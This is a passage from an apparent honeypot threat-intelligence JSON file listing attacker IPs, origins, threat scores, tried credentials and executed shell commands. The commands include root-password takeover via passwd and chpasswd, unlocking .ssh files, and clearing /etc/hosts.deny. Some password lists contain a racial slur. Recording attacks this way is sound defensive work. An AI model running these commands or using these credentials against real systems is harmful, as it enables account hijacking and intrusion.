        "echo -e \"linux123\\nR6XN8IO6nPy5\\nR6XN8IO6nPy5\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": null,
      "asn": 5065,
      "as_org": "Bunny Communications",
      "threat_score": 16.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.1,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 327,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T14:28:27.359000+00:00",
        "last_seen_30d": "2026-05-14T15:08:05.958000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 262,
        "Suricata": 65
      }
    },
    "136.50.155.174": {
      "attack_count": 252,
      "first_seen": "2026-05-16T16:04:56.368Z",
      "last_seen": "2026-05-16T16:40:08.365Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "onkar",
        "boss",
        "mailer",
        "soporte",
        "test_user",
        "thomas",
        "trader",
        "xiaoli"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "0708228AsBs!",
        "123",
        "123455",
        "20192019",
        "ASDFasdf1234",
        "Aa112233",
        "Abcd1234Abcd",
        "Nigger123",
        "Qwer123456",
        "Server2023#",
        "Tencent@123",
        "Test@12345",
        "admin@321",
        "mailer",
        "onkar123",
        "online@2026",
        "openvpnas"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"onkar123\\nwogZagXoqGGK\\nwogZagXoqGGK\\n\"|passwd",
        "echo \"root:sQt2bxgmDftO\"|chpasswd|bash",
        "echo -e \"onkar123\\nwogZagXoqGGK\\nwogZagXoqGGK\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 16591,
      "as_org": "Google Fiber Inc.",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 313,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T16:04:56.368000+00:00",
        "last_seen_30d": "2026-05-16T16:41:12.376000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 252,
        "Suricata": 61
      }
    },
    "220.201.171.83": {
      "attack_count": 252,
      "first_seen": "2026-05-23T23:25:18.205Z",
      "last_seen": "2026-05-23T23:31:29.451Z",
      "sessions": 126,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 28.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 25.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 379,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T23:25:18.205000+00:00",
        "last_seen_30d": "2026-05-23T23:32:31.910000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 252,
        "Suricata": 127
      }
    },
    "197.199.224.52": {
      "attack_count": 243,
      "first_seen": "2026-05-21T16:10:29.963Z",
      "last_seen": "2026-05-21T16:40:54.223Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "chen",
        "game",
        "activemq",
        "admin",
        "alpine",
        "fu",
        "horse",
        "hua",
        "maxim",
        "minsu",
        "patel",
        "saltstack",
        "socks",
        "sunil",
        "vivo",
        "xiamen"
      ],
      "passwords_attempted": [
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "ADMIN",
        "activemq",
        "alibaba",
        "emp001234",
        "horse",
        "password1",
        "password12",
        "patel",
        "redis",
        "saltstack",
        "socks",
        "xiamen"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "echo \"123456\\n1YzOAXHrhuL7\\n1YzOAXHrhuL7\\n\"|passwd",
        "echo \"password\\n9uZjnUZx8nMW\\n9uZjnUZx8nMW\\n\"|passwd",
        "echo -e \"123456\\n1YzOAXHrhuL7\\n1YzOAXHrhuL7\"|passwd|bash",
        "echo -e \"password\\n9uZjnUZx8nMW\\n9uZjnUZx8nMW\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Egypt",
      "country_code": "EG",
      "city": null,
      "asn": 36992,
      "as_org": "Etisalat Misr",
      "threat_score": 25.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 299,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-21T16:10:29.963000+00:00",
        "last_seen_30d": "2026-05-21T16:42:00.937000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 243,
        "Suricata": 56
      }
    },
    "27.79.44.244": {
      "attack_count": 239,
      "first_seen": "2026-05-07T00:32:30.648Z",
      "last_seen": "2026-05-07T00:58:24.085Z",
      "sessions": 47,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "test",
        "*****",
        "a1c924",
        "auto",
        "backup",
        "belkinstyle",
        "brenda",
        "cf1c22",
        "dubai",
        "george",
        "helpdesk",
        "jenkins",
        "madrid",
        "monitor",
        "nagios",
        "newadmin",
        "pi",
        "plex"
      ],
      "passwords_attempted": [
        "*****",
        "0l0ctyQh243O63uD",
        "1",
        "1111",
        "112233",
        "1234",
        "12345",
        "123456",
        "72ca06",
        "91482d",
        "?",
        "a1c924",
        "abc123",
        "admin",
        "aerohive",
        "brenda",
        "cf1c22",
        "dubai",
        "explorer",
        "george"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 8.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 25.3,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 339,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T00:32:30.648000+00:00",
        "last_seen_30d": "2026-05-07T00:59:25.997000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 239,
        "Suricata": 100
      }
    },
    "161.248.146.224": {
      "attack_count": 232,
      "first_seen": "2026-05-25T09:35:25.432Z",
      "last_seen": "2026-05-25T10:45:49.697Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "cloud",
        "auser",
        "caja01",
        "curl",
        "es",
        "ftpuser",
        "postgres",
        "prod",
        "rdpuser",
        "test",
        "tester",
        "travis",
        "user",
        "viewer"
      ],
      "passwords_attempted": [
        "123",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123123a@",
        "Admin@123",
        "Admin@123456789",
        "Pa$$w0rd",
        "Password",
        "Wangsu@2017",
        "es@123",
        "fjbdfdjkdsfs541544@@",
        "fjbdfdjkdsfs541544AA@@",
        "prod123",
        "supersecret",
        "test123",
        "viewer",
        "welltech12"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"Wangsu@2017\\no7qNUYiUqZVI\\no7qNUYiUqZVI\\n\"|passwd",
        "echo \"root:weYPTjID1IJh\"|chpasswd|bash",
        "echo -e \"Wangsu@2017\\no7qNUYiUqZVI\\no7qNUYiUqZVI\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135918,
      "as_org": "VIET DIGITAL TECHNOLOGY LIABILITY COMPANY",
      "threat_score": 29.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 288,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-25T09:35:25.432000+00:00",
        "last_seen_30d": "2026-05-25T10:46:53.666000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 232,
        "Suricata": 56
      }
    },
    "45.196.236.141": {
      "attack_count": 219,
      "first_seen": "2026-05-09T12:33:53.374Z",
      "last_seen": "2026-05-09T13:28:09.922Z",
      "sessions": 32,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "user",
        "birgitta",
        "developer",
        "root",
        "ubuntu",
        "345gs5662d34",
        "ali",
        "clouduser",
        "deploy",
        "deployer",
        "minecraft",
        "mqmuser",
        "nexus",
        "oracle",
        "plex",
        "postgres",
        "test02",
        "test2",
        "test9"
      ],
      "passwords_attempted": [
        "123456",
        "!1qwerty",
        "123456789",
        "12345678910",
        "1admin",
        "1q2w3e",
        "2024",
        "321321",
        "3245gs5662d34",
        "345gs5662d34",
        "@password!",
        "P@ssw0rd",
        "admin",
        "admin!2020",
        "ali123",
        "asdfgh",
        "birgitta",
        "clouduser",
        "deployer",
        "developer1234"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"birgitta\\n5SNwdXIFlNvQ\\n5SNwdXIFlNvQ\\n\"|passwd",
        "echo -e \"birgitta\\n5SNwdXIFlNvQ\\n5SNwdXIFlNvQ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 151407,
      "as_org": "Hytron Network Services Limited",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 24.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 293,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T12:33:53.374000+00:00",
        "last_seen_30d": "2026-05-09T13:29:11.034000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 219,
        "Suricata": 74
      }
    },
    "163.7.3.26": {
      "attack_count": 217,
      "first_seen": "2026-05-08T06:28:39.723Z",
      "last_seen": "2026-05-31T01:00:38.840Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "user1",
        "admin",
        "info",
        "system",
        "testing",
        "ubuntu"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "1",
        "123789",
        "1314",
        "20252025",
        "USER1",
        "admin123!",
        "appuser",
        "cyber1",
        "info@123",
        "mafia",
        "mi1lsug1m3r3utat",
        "ocadmin",
        "pinto",
        "random",
        "slayer",
        "testing"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"USER1\\nhNmbpWU5dtLW\\nhNmbpWU5dtLW\\n\"|passwd",
        "echo \"root:cXDIYQa81Qa9\"|chpasswd|bash",
        "echo -e \"USER1\\nhNmbpWU5dtLW\\nhNmbpWU5dtLW\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 56.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 24.2,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 264,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T06:28:39.723000+00:00",
        "last_seen_30d": "2026-05-31T01:01:44.085000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 217,
        "Suricata": 47
      }
    },
    "165.22.34.238": {
      "attack_count": 217,
      "first_seen": "2026-05-28T07:34:15.868Z",
      "last_seen": "2026-05-28T08:02:55.925Z",
      "sessions": 20,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "appuser",
        "developer",
        "frontend",
        "it",
        "lana",
        "mina",
        "minecraft",
        "parking"
      ],
      "passwords_attempted": [
        "12345678",
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "223344",
        "Abc123!!!",
        "Demo@123",
        "Passw0rd",
        "aaaa1111",
        "admin",
        "admin99",
        "fjbdfdjkdsfs541544",
        "frontend",
        "lana123",
        "mina",
        "parking",
        "root1"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"fjbdfdjkdsfs541544\\n6ZDqAextqmqL\\n6ZDqAextqmqL\\n\"|passwd",
        "echo \"root:NelhT9Rbyj4F\"|chpasswd|bash",
        "echo -e \"fjbdfdjkdsfs541544\\n6ZDqAextqmqL\\n6ZDqAextqmqL\"|passwd|bash",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Clifton",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 33.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 24.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 262,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-28T07:34:15.868000+00:00",
        "last_seen_30d": "2026-05-28T08:04:05.536000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 217,
        "Suricata": 45
      }
    },
    "104.243.37.202": {
      "attack_count": 162,
      "first_seen": "2026-05-08T08:56:54.375Z",
      "last_seen": "2026-05-31T13:34:12.973Z",
      "sessions": 27,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Piscataway",
      "asn": 23470,
      "as_org": "ReliableSite.Net LLC",
      "threat_score": 54.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 22.8,
        "persistence": 20.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 189,
        "days_active_30d": 24,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T08:56:54.375000+00:00",
        "last_seen_30d": "2026-05-31T13:35:17.990000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 108,
        "Suricata": 81
      }
    },
    "72.79.42.117": {
      "attack_count": 160,
      "first_seen": "2026-05-08T13:54:51.327Z",
      "last_seen": "2026-05-08T14:26:06.064Z",
      "sessions": 31,
      "ports": [],
      "usernames_attempted": [
        "ubuntu",
        "git",
        "admin",
        "root",
        "guest",
        "user",
        "345gs5662d34",
        "admin1",
        "minecraft",
        "mysql",
        "oracle",
        "testuser",
        "user04"
      ],
      "passwords_attempted": [
        "!@#QWE123qwe",
        "000000000",
        "0123456789",
        "1",
        "123!@#",
        "123123",
        "123qweQWE",
        "1q2w3e",
        "1qaz2wsx",
        "1qaz2wsx_",
        "3245gs5662d34",
        "345gs5662d34",
        "87654321",
        "8888",
        "@admin",
        "Oracle123",
        "P@ssword",
        "Test123",
        "a",
        "admin"
      ],
      "commands_executed": [
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "lockr -ia .ssh"
      ],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params",
        "cowrie.command.failed"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Nutley",
      "asn": 701,
      "as_org": "Verizon Business",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 23.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 233,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T13:54:51.327000+00:00",
        "last_seen_30d": "2026-05-08T14:27:08.372000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 160,
        "Suricata": 73
      }
    },
    "42.202.21.250": {
      "attack_count": 150,
      "first_seen": "2026-05-18T22:04:30.354Z",
      "last_seen": "2026-05-19T06:13:34.764Z",
      "sessions": 75,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 22.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.6,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 227,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:04:30.354000+00:00",
        "last_seen_30d": "2026-05-19T06:14:41.356000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 150,
        "Suricata": 77
      }
    },
    "102.213.34.99": {
      "attack_count": 149,
      "first_seen": "2026-05-27T19:01:08.042Z",
      "last_seen": "2026-05-27T19:34:14.258Z",
      "sessions": 18,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "maxim",
        "345gs5662d34",
        "dev",
        "milad",
        "musicbot",
        "nimesh",
        "oleh",
        "sr",
        "ubuntu",
        "vagrant"
      ],
      "passwords_attempted": [
        "123",
        "1234",
        "12345",
        "12345@Abc",
        "3245gs5662d34",
        "345gs5662d34",
        "Ah123456.",
        "Qwer1234@",
        "admin123456@",
        "adminpassword",
        "alexander",
        "fjbdfdjkdsfs541544",
        "milad123",
        "musicbot",
        "nigger123",
        "nimesh",
        "oleh",
        "sr123"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"123\\nCZAzONFLCENJ\\nCZAzONFLCENJ\\n\"|passwd",
        "echo -e \"123\\nCZAzONFLCENJ\\nCZAzONFLCENJ\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.log.closed",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Angola",
      "country_code": "AO",
      "city": null,
      "asn": 328154,
      "as_org": "NETSPACE",
      "threat_score": 30.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 191,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T19:01:08.042000+00:00",
        "last_seen_30d": "2026-05-27T19:35:17.945000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 149,
        "Suricata": 42
      }
    },
    "103.143.231.102": {
      "attack_count": 143,
      "first_seen": "2026-05-24T11:14:42.357Z",
      "last_seen": "2026-05-24T12:03:09.222Z",
      "sessions": 17,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "deepak",
        "help",
        "salma",
        "ssh",
        "ts3server",
        "wm"
      ],
      "passwords_attempted": [
        "1",
        "123456",
        "3245gs5662d34",
        "345gs5662d34",
        "Pass@2020",
        "Welcome1@",
        "admin@123!",
        "ghbdtnbr",
        "help2025",
        "li123123",
        "qwerty11",
        "salma",
        "ssh",
        "syncmaster",
        "test123!",
        "wm",
        "zy@123456"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:iFofLuhLngDX\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 138152,
      "as_org": "YISU CLOUD LTD",
      "threat_score": 27.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 22.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 185,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T11:14:42.357000+00:00",
